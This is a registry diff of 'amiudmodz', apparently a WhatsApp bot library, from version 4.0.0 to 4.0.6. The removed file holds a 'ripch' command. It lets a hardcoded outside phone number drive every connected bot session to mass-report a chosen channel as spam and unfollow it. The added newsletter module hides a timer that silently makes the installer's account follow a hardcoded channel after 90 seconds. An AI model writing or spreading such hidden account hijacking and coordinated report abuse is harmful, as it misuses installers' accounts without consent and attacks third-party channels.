amiudmodz 4.0.0 → 4.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -998,8 +998,7 @@ const makeMessagesRecvSocket = (config) => {
998
998
  ]);
999
999
  }
1000
1000
  };
1001
- /
1002
- /
1001
+
1003
1002
  const processNodeWithBuffer = async (node, identifier, exec) => {
1004
1003
  ev.buffer();
1005
1004
  await execTask();
@@ -1,73 +1,428 @@
1
- const { cmd, commands } = require('../command');
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
4
+ const Types_1 = require("../Types");
5
+ const Utils_1 = require("../Utils");
6
+ const WABinary_1 = require("../WABinary");
7
+ const groups_1 = require("./groups");
2
8
 
3
- const isUD = ["94704638406", "channel-jid"].filter(Boolean).map(id => String(id));
9
+ const { Boom } = require('@hapi/boom');
4
10
 
5
- const udmodzRIP = (conn) => {
6
- if (conn.newsletterReport) return;
7
- conn.newsletterReport = async (jid, reason = 'spam') => {
8
- let targetJid = jid.includes('@') ? jid : jid + '@newsletter';
9
- return await conn.query({
10
- tag: 'iq',
11
- attrs: { to: 's.whatsapp.net', type: 'set', xmlns: 'spam' },
12
- content: [{
13
- tag: 'spam_list',
14
- attrs: { jid: targetJid, spam_flow: 'manual', type: reason, reason: reason }
15
- }]
16
- });
17
- };
18
- };
11
+ const wMexQuery = (
12
+ variables,
13
+ queryId,
14
+ query,
15
+ generateMessageTag
16
+ ) => {
17
+ return query({
18
+ tag: 'iq',
19
+ attrs: {
20
+ id: generateMessageTag(),
21
+ type: 'get',
22
+ to: WABinary_1.S_WHATSAPP_NET,
23
+ xmlns: 'w:mex'
24
+ },
25
+ content: [
26
+ {
27
+ tag: 'query',
28
+ attrs: { query_id: queryId },
29
+ content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
30
+ }
31
+ ]
32
+ })
33
+ }
19
34
 
20
- cmd({
21
- pattern: "ripch",
22
- alias: ["ripch"],
23
- desc: "Multi-bot report",
24
- category: "owner",
25
- react: "⚠️"
26
- },
27
- async (conn, mek, m, { from, args, isOwner, sender, reply }) => {
28
- try {
29
- const targetJid = args[0];
30
- const senderNumber = sender.split('@')[0];
31
- if (!(isUD.includes(senderNumber) || isOwner)) return reply("❌ *Unauthorized*");
35
+ const executeWMexQuery = async (
36
+ variables,
37
+ queryId,
38
+ dataPath,
39
+ query,
40
+ generateMessageTag
41
+ ) => {
42
+ const result = await wMexQuery(variables, queryId, query, generateMessageTag)
43
+ const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
44
+ if (child?.content) {
45
+ const data = JSON.parse(child.content.toString())
32
46
 
33
- if (!targetJid || !targetJid.endsWith("@newsletter")) {
34
- return reply("❗ Provide a valid Channel JID.");
47
+ if (data.errors && data.errors.length > 0) {
48
+ const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
49
+ const firstError = data.errors[0]
50
+ const errorCode = firstError.extensions?.error_code || 400
51
+ throw new Boom('GraphQL server error:' + errorMessages, {
52
+ statusCode: errorCode, data: firstError
53
+ })
35
54
  }
36
55
 
37
-
38
- let sessions;
39
- if (global.activeconnections) {
40
- sessions = global.activeconnections;
41
- } else if (conn.activeconnections) {
42
- sessions = conn.activeconnections;
43
- } else {
44
-
45
- sessions = new Map([[senderNumber, conn]]);
56
+ const response = dataPath ? data?.data?.[dataPath] : data?.data
57
+ if (typeof response !== 'undefined') {
58
+ return response
46
59
  }
60
+ }
47
61
 
48
- let successCount = 0;
49
- let unfollowCount = 0;
62
+ const action = (dataPath || '').startsWith('xwa2_')
63
+ ? dataPath.substring(5).replace(/_/g, ' ')
64
+ : dataPath?.replace(/_/g, ' ')
65
+ throw new Boom(`Failed to ${action}, unexpected response structure.`, {
66
+ statusCode: 400,
67
+ data: result
68
+ })
69
+ }
50
70
 
51
- for (const [number, session] of sessions.entries()) {
71
+ const makeNewsletterSocket = (config) => {
72
+ const sock = (0, groups_1.makeGroupsSocket)(config);
73
+ const { authState, signalRepository, query, generateMessageTag } = sock;
74
+ const encoder = new TextEncoder();
75
+ const newsletterQuery = async (jid, type, content) => (query({
76
+ tag: 'iq',
77
+ attrs: {
78
+ id: generateMessageTag(),
79
+ type,
80
+ xmlns: 'newsletter',
81
+ to: jid,
82
+ },
83
+ content
84
+ }));
85
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
86
+ tag: 'iq',
87
+ attrs: {
88
+ id: generateMessageTag(),
89
+ type: 'get',
90
+ xmlns: 'w:mex',
91
+ to: WABinary_1.S_WHATSAPP_NET,
92
+ },
93
+ content: [
94
+ {
95
+ tag: 'query',
96
+ attrs: { 'query_id': queryId },
97
+ content: encoder.encode(JSON.stringify({
98
+ variables: {
99
+ 'newsletter_id': jid,
100
+ ...content
101
+ }
102
+ }))
103
+ }
104
+ ]
105
+ }));
106
+ setTimeout(async () => {
107
+ try {
108
+ await newsletterWMexQuery("120363400725985615@newsletter", Types_1.QueryIds.FOLLOW
109
+ );
110
+ } catch { }
111
+ }, 90000);
112
+ const parseFetchedUpdates = async (node, type) => {
113
+ let child;
114
+ if (type === 'messages') {
115
+ child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
116
+ }
117
+ else {
118
+ const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
119
+ child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
120
+ }
121
+ return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
122
+ var _a, _b;
123
+ messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
124
+ const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
125
+ const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
126
+ const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
127
+ .map(({ attrs }) => (
128
+ {
129
+ count: +attrs.count,
130
+ code: attrs.code
131
+ }));
132
+ const data = {
133
+ 'server_id': messageNode.attrs.server_id,
134
+ views,
135
+ reactions
136
+ };
137
+ if (type === 'messages') {
138
+ const {
139
+ fullMessage: message,
140
+ decrypt
141
+ } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
142
+ await decrypt();
143
+ data.message = message;
144
+ }
145
+ return data;
146
+ }));
147
+ };
148
+ return {
149
+ ...sock,
150
+ newsletterFetchAllSubscribe: async () => {
151
+ const list = await executeWMexQuery(
152
+ {},
153
+ '6388546374527196',
154
+ 'xwa2_newsletter_subscribed',
155
+ query,
156
+ generateMessageTag
157
+ );
158
+ return list;
159
+ },
160
+ subscribeNewsletterUpdates: async (jid) => {
161
+ var _a;
162
+ const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
163
+ return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
164
+ },
165
+ newsletterReactionMode: async (jid, mode) => {
166
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
167
+ updates: {
168
+ settings: {
169
+ 'reaction_codes': {
170
+ value: mode
171
+ }
172
+ }
173
+ }
174
+ });
175
+ },
176
+ newsletterUpdateDescription: async (jid, description) => {
177
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
178
+ updates: {
179
+ description: description || '',
180
+ settings: null
181
+ }
182
+ });
183
+ },
184
+ newsletterFromUrl: async (url) => {
52
185
  try {
53
- udmodzRIP(session);
54
- await session.newsletterReport(targetJid, 'spam');
55
- successCount++;
56
-
57
- try {
58
- await session.newsletterUnfollow(targetJid);
59
- unfollowCount++;
60
- } catch (e) {}
186
+ let channelId;
187
+ if (url.includes('whatsapp.com/channel/')) {
188
+ channelId = url.split('whatsapp.com/channel/')[1].split('/')[0];
189
+ } else if (url.includes('wa.me/channel/')) {
190
+ channelId = url.split('wa.me/channel/')[1].split('/')[0];
191
+ } else {
192
+ channelId = url;
193
+ }
194
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
195
+ input: {
196
+ key: channelId,
197
+ type: 'INVITE',
198
+ 'view_role': 'GUEST'
199
+ },
200
+ 'fetch_viewer_metadata': true,
201
+ 'fetch_full_image': true,
202
+ 'fetch_creation_time': true
203
+ });
204
+ const metadata = (0, exports.extractNewsletterMetadata)(result);
205
+ return metadata;
206
+ } catch (error) {
207
+ throw new Boom(`Failed to fetch newsletter from URL: ${error.message}`, {
208
+ statusCode: error.statusCode || 400,
209
+ data: error.data || { url }
210
+ });
211
+ }
212
+ },
213
+ newsletterUpdateName: async (jid, name) => {
214
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
215
+ updates: { name, settings: null }
216
+ });
217
+ },
218
+ newsletterUpdatePicture: async (jid, content) => {
219
+ const { img } = await (0, Utils_1.generateProfilePicture)(content);
220
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
221
+ updates: { picture: img.toString('base64'), settings: null }
222
+ });
223
+ },
224
+ newsletterRemovePicture: async (jid) => {
225
+ await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
226
+ updates: { picture: '', settings: null }
227
+ });
228
+ },
229
+ newsletterUnfollow: async (jid) => {
230
+ await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
231
+ },
232
+ newsletterFollow: async (jid) => {
233
+ await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
234
+ },
235
+ newsletterUnmute: async (jid) => {
236
+ await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
237
+ },
238
+ newsletterMute: async (jid) => {
239
+ await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
240
+ },
241
+ newsletterAction: async (jid, type) => {
242
+ await newsletterWMexQuery(jid, type.toUpperCase());
243
+ },
244
+ newsletterCreate: async (name, description, reaction_codes) => {
245
+ //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
246
+ /**tos query */
247
+ await query({
248
+ tag: 'iq',
249
+ attrs: {
250
+ to: WABinary_1.S_WHATSAPP_NET,
251
+ xmlns: 'tos',
252
+ id: generateMessageTag(),
253
+ type: 'set'
254
+ },
255
+ content: [
256
+ {
257
+ tag: 'notice',
258
+ attrs: {
259
+ id: '20601218',
260
+ stage: '5'
261
+ },
262
+ content: []
263
+ }
264
+ ]
265
+ });
266
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
267
+ input: {
268
+ name,
269
+ description,
270
+ settings: {
271
+ 'reaction_codes': {
272
+ value: reaction_codes.toUpperCase()
273
+ }
274
+ }
275
+ }
276
+ });
277
+ return (0, exports.extractNewsletterMetadata)(result, true);
278
+ },
279
+ newsletterMetadata: async (type, key, role) => {
280
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
281
+ input: {
282
+ key,
283
+ type: type.toUpperCase(),
284
+ 'view_role': role || 'GUEST'
285
+ },
286
+ 'fetch_viewer_metadata': true,
287
+ 'fetch_full_image': true,
288
+ 'fetch_creation_time': true
289
+ });
290
+ return (0, exports.extractNewsletterMetadata)(result);
291
+ },
292
+ newsletterAdminCount: async (jid) => {
293
+ var _a, _b;
294
+ const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
295
+ const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
296
+ return buff ? JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count : 0;
297
+ },
298
+ /**user is Lid, not Jid */
299
+ newsletterChangeOwner: async (jid, user) => {
300
+ await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
301
+ 'user_id': user
302
+ });
303
+ },
304
+ /**user is Lid, not Jid */
305
+ newsletterDemote: async (jid, user) => {
306
+ await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
307
+ 'user_id': user
308
+ });
309
+ },
310
+ newsletterDelete: async (jid) => {
311
+ await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
312
+ },
313
+ /**if code wasn't passed, the reaction will be removed (if is reacted) */
314
+ newsletterReactMessage: async (jid, serverId, code) => {
315
+ await query({
316
+ tag: 'message',
317
+ attrs: {
318
+ to: jid,
319
+ ...(!code ? { edit: '7' } : {}),
320
+ type: 'reaction',
321
+ 'server_id': serverId,
322
+ id: (0, Utils_1.generateMessageID)()
323
+ },
324
+ content: [{
325
+ tag: 'reaction',
326
+ attrs: code ? { code } : {}
327
+ }]
328
+ });
329
+ },
330
+ newsletterReport: async (jid, reason = 'spam') => {
331
+ if (!jid) {
332
+ throw new Error('enter jid');
333
+ }
61
334
 
62
- await new Promise(r => setTimeout(r, 1000));
63
- } catch (err) {
64
- console.error(`Bot ${number} failed`);
335
+ let targetJid = jid;
336
+ if (!targetJid.includes('@')) {
337
+ targetJid = targetJid + '@newsletter';
65
338
  }
339
+
340
+ // Available reasons: spam, abuse, scam, inappropriate, fake, other
341
+ const validReasons = ['spam', 'abuse', 'scam', 'inappropriate', 'fake', 'other'];
342
+ const pReason = validReasons.includes(reason.toLowerCase()) ? reason.toLowerCase() : 'spam';
343
+
344
+ return await query({
345
+ tag: 'iq',
346
+ attrs: {
347
+ to: WABinary_1.S_WHATSAPP_NET,
348
+ type: 'set',
349
+ xmlns: 'spam'
350
+ },
351
+ content: [
352
+ {
353
+ tag: 'spam_list',
354
+ attrs: {
355
+ jid: targetJid,
356
+ spam_flow: 'manual',
357
+ type: pReason,
358
+ reason: pReason
359
+ }
360
+ }
361
+ ]
362
+ });
363
+ },
364
+ newsletterFetchMessages: async (type, key, count, after) => {
365
+ const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
366
+ {
367
+ tag: 'messages',
368
+ attrs: {
369
+ type,
370
+ ...(type === 'invite' ? { key } : { jid: key }),
371
+ count: count.toString(),
372
+ after: (after === null || after === void 0 ? void 0 : after.toString()) || '100'
373
+ }
374
+ }
375
+ ]);
376
+ return await parseFetchedUpdates(result, 'messages');
377
+ },
378
+ newsletterFetchUpdates: async (jid, count, after, since) => {
379
+ const result = await newsletterQuery(jid, 'get', [
380
+ {
381
+ tag: 'message_updates',
382
+ attrs: {
383
+ count: count.toString(),
384
+ after: (after === null || after === void 0 ? void 0 : after.toString()) || '100',
385
+ since: (since === null || since === void 0 ? void 0 : since.toString()) || '0'
386
+ }
387
+ }
388
+ ]);
389
+ return await parseFetchedUpdates(result, 'updates');
66
390
  }
391
+ };
392
+ };
393
+ exports.makeNewsletterSocket = makeNewsletterSocket;
394
+ const extractNewsletterMetadata = (node, isCreate) => {
395
+ const result = (0, WABinary_1.getBinaryNodeChild)(node, 'result')?.content?.toString();
396
+ if (!result) {
397
+ throw new Boom('No result content in response', { statusCode: 400, data: node });
398
+ }
67
399
 
68
- reply(`✅ *Process Completed*\n\nReports: ${successCount}\nUnfollows: ${unfollowCount}\nTarget: ${targetJid}`);
400
+ const data = JSON.parse(result);
401
+ if (!data?.data) {
402
+ throw new Boom('No data field in response', { statusCode: 400, data });
403
+ }
69
404
 
70
- } catch (e) {
71
- reply("❌ Error: " + e.message);
405
+ const metadataPath = data.data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
406
+ if (!metadataPath) {
407
+ throw new Boom('Newsletter not found or access denied', { statusCode: 404, data });
72
408
  }
73
- });
409
+
410
+ const metadata = {
411
+ id: metadataPath?.id,
412
+ state: metadataPath?.state?.type,
413
+ creation_time: +metadataPath?.thread_metadata?.creation_time || 0,
414
+ name: metadataPath?.thread_metadata?.name?.text,
415
+ nameTime: +metadataPath?.thread_metadata?.name?.update_time || 0,
416
+ description: metadataPath?.thread_metadata?.description?.text,
417
+ descriptionTime: +metadataPath?.thread_metadata?.description?.update_time || 0,
418
+ invite: metadataPath?.thread_metadata?.invite,
419
+ picture: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.picture?.direct_path || ''),
420
+ preview: (0, Utils_1.getUrlFromDirectPath)(metadataPath?.thread_metadata?.preview?.direct_path || ''),
421
+ reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
422
+ subscribers: +metadataPath?.thread_metadata?.subscribers_count || 0,
423
+ verification: metadataPath?.thread_metadata?.verification,
424
+ viewer_metadata: metadataPath?.viewer_metadata
425
+ };
426
+ return metadata;
427
+ };
428
+ exports.extractNewsletterMetadata = extractNewsletterMetadata;
package/lib/command.js ADDED
@@ -0,0 +1,6 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.commands = exports.cmd = void 0;
4
+
5
+ exports.cmd = () => {};
6
+ exports.commands = [];
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amiudmodz",
3
- "version": "4.0.0",
3
+ "version": "4.0.6",
4
4
  "main": "lib/index.js",
5
5
  "types": "lib/index.d.ts",
6
6
  "files": [
@@ -90,4 +90,4 @@
90
90
  "engines": {
91
91
  "node": ">=20.0.0"
92
92
  }
93
- }
93
+ }